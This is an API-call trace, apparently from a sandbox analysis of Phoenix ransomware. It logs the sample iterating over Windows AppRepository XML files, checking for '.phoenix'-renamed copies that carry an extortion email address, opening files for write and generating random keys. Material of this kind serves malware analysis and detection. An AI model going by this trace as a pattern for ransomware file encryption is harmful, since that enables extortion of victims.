	[0229.861] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.MicrosoftStickyNotes_1.4.101.0_x64__8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.microsoftstickynotes_1.4.101.0_x64__8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0229.862] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.MicrosoftStickyNotes_1.4.101.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.microsoftstickynotes_1.4.101.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0229.862] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0229.862] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.MSPaint_1.1702.28017.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.mspaint_1.1702.28017.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0229.862] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=5211) returned 1
	[0229.862] CloseHandle (hObject=0x2e4) returned 1
	[0229.862] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.MSPaint_1.1702.28017.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.mspaint_1.1702.28017.0_neutral_~_8wekyb3d8bbwe.xml")) returned 0x20
	[0229.862] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.MSPaint_1.1702.28017.0_neutral_~_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.mspaint_1.1702.28017.0_neutral_~_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0229.862] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.MSPaint_1.1702.28017.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.mspaint_1.1702.28017.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0229.862] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0229.862] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.MSPaint_1.1702.28017.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.mspaint_1.1702.28017.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0229.863] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=52069) returned 1
	[0229.863] CloseHandle (hObject=0x2e4) returned 1
	[0229.863] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.MSPaint_1.1702.28017.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.mspaint_1.1702.28017.0_x64__8wekyb3d8bbwe.xml")) returned 0x20
	[0229.863] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.MSPaint_1.1702.28017.0_x64__8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.mspaint_1.1702.28017.0_x64__8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0229.863] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.MSPaint_1.1702.28017.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.mspaint_1.1702.28017.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0229.863] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0229.863] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Framework.1.0_1.0.22929.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.net.native.framework.1.0_1.0.22929.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0229.864] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=1162) returned 1
	[0229.864] CloseHandle (hObject=0x2e4) returned 1
	[0229.864] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Framework.1.0_1.0.22929.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.net.native.framework.1.0_1.0.22929.0_x64__8wekyb3d8bbwe.xml")) returned 0x20
	[0229.864] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Framework.1.0_1.0.22929.0_x64__8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.net.native.framework.1.0_1.0.22929.0_x64__8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0229.864] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Framework.1.0_1.0.22929.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.net.native.framework.1.0_1.0.22929.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0229.864] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0229.864] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Framework.1.0_1.0.22929.0_x86__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.net.native.framework.1.0_1.0.22929.0_x86__8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0229.864] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=1162) returned 1
	[0229.864] CloseHandle (hObject=0x2e4) returned 1
	[0229.864] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Framework.1.0_1.0.22929.0_x86__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.net.native.framework.1.0_1.0.22929.0_x86__8wekyb3d8bbwe.xml")) returned 0x20
	[0229.865] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Framework.1.0_1.0.22929.0_x86__8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.net.native.framework.1.0_1.0.22929.0_x86__8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0229.865] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Framework.1.0_1.0.22929.0_x86__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.net.native.framework.1.0_1.0.22929.0_x86__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0229.865] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0229.865] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Framework.1.1_1.0.23115.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.net.native.framework.1.1_1.0.23115.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0230.011] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=1197) returned 1
	[0230.011] CloseHandle (hObject=0x2f4) returned 1
	[0230.011] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Framework.1.1_1.0.23115.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.net.native.framework.1.1_1.0.23115.0_x64__8wekyb3d8bbwe.xml")) returned 0x20
	[0230.011] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Framework.1.1_1.0.23115.0_x64__8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.net.native.framework.1.1_1.0.23115.0_x64__8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.012] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Framework.1.1_1.0.23115.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.net.native.framework.1.1_1.0.23115.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.012] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0230.012] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Framework.1.1_1.0.23115.0_x86__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.net.native.framework.1.1_1.0.23115.0_x86__8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0230.038] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=1197) returned 1
	[0230.038] CloseHandle (hObject=0x2f4) returned 1
	[0230.038] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Framework.1.1_1.0.23115.0_x86__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.net.native.framework.1.1_1.0.23115.0_x86__8wekyb3d8bbwe.xml")) returned 0x20
	[0230.038] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Framework.1.1_1.0.23115.0_x86__8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.net.native.framework.1.1_1.0.23115.0_x86__8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.038] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Framework.1.1_1.0.23115.0_x86__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.net.native.framework.1.1_1.0.23115.0_x86__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.038] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0230.038] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Framework.1.3_1.3.24201.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.net.native.framework.1.3_1.3.24201.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0230.039] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=1181) returned 1
	[0230.039] CloseHandle (hObject=0x2f4) returned 1
	[0230.039] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Framework.1.3_1.3.24201.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.net.native.framework.1.3_1.3.24201.0_x64__8wekyb3d8bbwe.xml")) returned 0x20
	[0230.039] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Framework.1.3_1.3.24201.0_x64__8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.net.native.framework.1.3_1.3.24201.0_x64__8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.039] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Framework.1.3_1.3.24201.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.net.native.framework.1.3_1.3.24201.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.039] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0230.039] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Framework.1.3_1.3.24201.0_x86__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.net.native.framework.1.3_1.3.24201.0_x86__8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0230.039] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=1181) returned 1
	[0230.039] CloseHandle (hObject=0x2f4) returned 1
	[0230.039] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Framework.1.3_1.3.24201.0_x86__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.net.native.framework.1.3_1.3.24201.0_x86__8wekyb3d8bbwe.xml")) returned 0x20
	[0230.039] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Framework.1.3_1.3.24201.0_x86__8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.net.native.framework.1.3_1.3.24201.0_x86__8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.039] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Framework.1.3_1.3.24201.0_x86__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.net.native.framework.1.3_1.3.24201.0_x86__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.040] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0230.040] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Framework.1.6_1.6.24903.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.net.native.framework.1.6_1.6.24903.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0230.040] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=1181) returned 1
	[0230.040] CloseHandle (hObject=0x2f4) returned 1
	[0230.041] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Framework.1.6_1.6.24903.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.net.native.framework.1.6_1.6.24903.0_x64__8wekyb3d8bbwe.xml")) returned 0x20
	[0230.041] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Framework.1.6_1.6.24903.0_x64__8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.net.native.framework.1.6_1.6.24903.0_x64__8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.041] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Framework.1.6_1.6.24903.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.net.native.framework.1.6_1.6.24903.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.041] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0230.041] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Framework.1.6_1.6.24903.0_x86__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.net.native.framework.1.6_1.6.24903.0_x86__8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0230.041] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=1181) returned 1
	[0230.041] CloseHandle (hObject=0x2f4) returned 1
	[0230.041] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Framework.1.6_1.6.24903.0_x86__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.net.native.framework.1.6_1.6.24903.0_x86__8wekyb3d8bbwe.xml")) returned 0x20
	[0230.041] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Framework.1.6_1.6.24903.0_x86__8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.net.native.framework.1.6_1.6.24903.0_x86__8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.041] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Framework.1.6_1.6.24903.0_x86__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.net.native.framework.1.6_1.6.24903.0_x86__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.041] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0230.041] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Runtime.1.0_1.0.22929.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.net.native.runtime.1.0_1.0.22929.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0230.042] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=1156) returned 1
	[0230.042] CloseHandle (hObject=0x2f4) returned 1
	[0230.042] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Runtime.1.0_1.0.22929.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.net.native.runtime.1.0_1.0.22929.0_x64__8wekyb3d8bbwe.xml")) returned 0x20
	[0230.042] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Runtime.1.0_1.0.22929.0_x64__8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.net.native.runtime.1.0_1.0.22929.0_x64__8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.042] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Runtime.1.0_1.0.22929.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.net.native.runtime.1.0_1.0.22929.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.042] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0230.042] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Runtime.1.0_1.0.22929.0_x86__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.net.native.runtime.1.0_1.0.22929.0_x86__8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0230.042] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=1156) returned 1
	[0230.042] CloseHandle (hObject=0x2f4) returned 1
	[0230.042] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Runtime.1.0_1.0.22929.0_x86__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.net.native.runtime.1.0_1.0.22929.0_x86__8wekyb3d8bbwe.xml")) returned 0x20
	[0230.042] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Runtime.1.0_1.0.22929.0_x86__8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.net.native.runtime.1.0_1.0.22929.0_x86__8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.042] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Runtime.1.0_1.0.22929.0_x86__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.net.native.runtime.1.0_1.0.22929.0_x86__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.043] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0230.043] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Runtime.1.1_1.1.23118.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.net.native.runtime.1.1_1.1.23118.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0230.043] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=1191) returned 1
	[0230.043] CloseHandle (hObject=0x2f4) returned 1
